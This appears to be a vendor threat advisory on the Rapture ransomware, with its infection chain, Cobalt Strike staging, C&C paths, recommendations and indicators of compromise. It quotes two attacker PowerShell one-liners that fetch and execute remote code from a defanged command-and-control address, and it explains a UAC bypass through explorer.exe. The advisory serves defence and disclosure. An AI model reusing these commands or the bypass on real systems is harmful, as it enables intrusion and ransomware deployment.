Mphasis
The Next Applied

Advisory: Rapture Ransomware

Severity: Medium

Date: 15th May 2023

Introduction

In March and April 2023, we observed a type of ransomware targeting its victims via a minimalistic approach with tools that leave only a minimal footprint behind. Our findings revealed many of the preparations made by the perpetrators and how quickly they managed to carry out the ransomware attack.

The memory dump during the ransomware's execution reveals an RSA key configuration file similar to that used by the Paradise ransomware. To make analysis more difficult, the attackers packed the Rapture ransomware using Themida, a commercial packer. Rapture requires at least a.NET 4.0 framework for proper execution; this suggests more similarities with Paradise, which has been known to be compiled as a.NET executable. For this reason, we dubbed this ransomware type as Rapture, a closely related nomenclature to Paradise.

Methodology

In April, we found a couple of ransomware activities that appear to be injected in legitimate processes. By tracing these activities back to the source process, we found that the ransomware appeared as an activity loaded into memory from a Cobalt Strike beacon.

During our investigation, we discovered that the whole infection chain spans three to five days at most (counting from the time of discovery of the reconnaissance commands). Rapture's operators first perform the following, likely to guarantee a more successful attack:

- Inspect firewall policies
- Check the PowerShell version
- Check for vulnerable Log4J applets

After a successful reconnaissance routine, the attackers proceed with the first stage of the attack by downloading and executing a PowerShell script to install Cobalt Strike in the target's system.

After the reconnaissance stage, the attackers will try to gain access to the victim's network (likely through vulnerable public-facing websites and servers since their initial entry is via w3wp.exe for PowerShell execution).

The following command is used for the first execution instance of PowerShell through w3wp.exe:

/c PowerShell set-alias -name aspersky -value Invoke-Expression;aspersky(New-Object Net.WebClient).DownloadString('[hxxp]://195.123.234[.]101:80/Sharepoint/Pickers.aspx')

Meanwhile, the second execution instance, this time from Windows Management Instrumentation (WMI), is done via the following command:

/c power shell set-alias -name kaspersky -value Invoke-Expression;kaspersky(New-Object Net.WebClient).DownloadString('[hxxp]://195.123.234[.]101:80/Microsoft/Online')

The attacks use a unique method of obtaining higher privileges to execute the payload. By default, there is a task in newer versions of Windows called CreateExplorerShellUnelevatedTask that prevents explorer.exe from running with elevated privileges. However, if explorer.exe is launched using the command line /NOUACCHECK, it inherits the elevated status from the parent process. In this case, the malicious actors injected the malicious activity into an existing svchost.exe, which serves as the parent process. The svchost.exe process then executes explorer.exe using the /NOUACCHECK command. Once this is done, explorer.exe can then be used to drop and execute the second stage Cobalt Strike beacon downloader.

The second-stage downloader will then connect to the following address to download the main Cobalt Strike beacon: 195.123.234[.]101/DoFor/review/Mcirosoft

The data response from the command-and-control (C&C) server contains the encrypted beacon sandwiched in the middle of a JavaScript file (with the script code bearing no actual usage or significance for the malware chain). The downloader decrypts the sandwiched code and then executes the Cobalt Strike beacon.

The second (main) stage beacon will attempt to connect to another subfolder in the same C&C server, where it will attempt to receive the backdoor command and other payloads. Similarly, the response of the C&C server is also sandwiched in another JavaScript code that will be decoded by the following beacon: 195.123.234[.]101/Make/v8.01/Sharepoint

Based on our analysis of the decrypted C&C response from the beacon, we have deduced that the decoded content will have the following structure (after the beacon removes the garbage padding):

We found that the beacon performed ransomware activities in majority of the affected systems, which implies that the code is downloaded and executed in memory except for a few machines where we found the actual ransomware.

We tried to gather more information about the Cobalt Strike beacon via its watermark, where we discovered that the same watermark is also used by other threat actors. This indicates that it is likely that Rapture's operators are using a pirated Windows license which is also being used by several others.

Recommendations and Solutions

To protect their systems from ransomware attacks, organizations can implement security frameworks that systematically allocate resources to establish a robust defense strategy. Here are some recommended guidelines for organizations consider:

- Conduct an inventory of assets and data.
- Identify authorized and unauthorized devices and software.
- Audit event and incident logs
- Manage hardware and software configurations.
- Grant admin privileges and access only when necessary for an employee's role.
- Monitor network ports, protocols, and services.
- Establish a software allowlist that only allows legitimate applications to execute.
- Implement data protection, backup, and recovery measures.
- Enable multifactor authentication (MFA).
- Deploy the latest versions of security solutions to all layers of the system, including email, endpoint, web, and network.
- Watch for early signs of an attack, such as the presence of suspicious tools in the system.

Conclusion

The Rapture ransomware is cleverly designed and bears some similarities to other ransomware families such as Paradise. Although its operators use tools and resources that are readily available, they have managed to use them in a way that enhances Rapture’s capabilities by making it stealthier and more difficult to analyze. As is the case with many modern families, these types of fairly sophisticated ransomware are beginning to become the norm in many present-day campaigns.

IOCs

Hash Values

c417a89cdc86ea6d674d2dc629ae1872b4054ac43e948e8ed60d3f3f47178598
a6cd727a18e5e2a80fbd8a51c299a2030bd5e68e4bbf136e07eb9d0b3f3bb8ce
619614cda94a4b6b185c0c122d11ef2b8b0b3e7fc94a1a5c2ff1ac49233df54b
4222681314f5ffd69fe17ab2ae4b9aaa60866571fe2b53afc10f87e3738cedda
b44b4e162de1decc9a5d3c61a045eb4776c55fccd33c9eced5b9f622faee19fa
367e13f234a46822aa9655690f18000319123ad07a62e56bcf8bebbfbb0de7b9
99331170be7aa48d572728f68e52ac8d3eb3c8307cb8050ce504ef9f4624a4ba
d793aaaba1b4b34a20432b86505b851d838def0cd722b8cbdd1d08e19a08b6ee

IP addresses

195[.]123[.]234[.]101

172[.]82[.]86[.]148

Reference Links

https://www.trendmicro.com/en_in/research/23/d/rapture-a-ransomware-family-with-similarities-to-paradise.html

https://cyware.com/news/new-rapture-ransomware-bears-notable-similarities-with-paradise-189231e7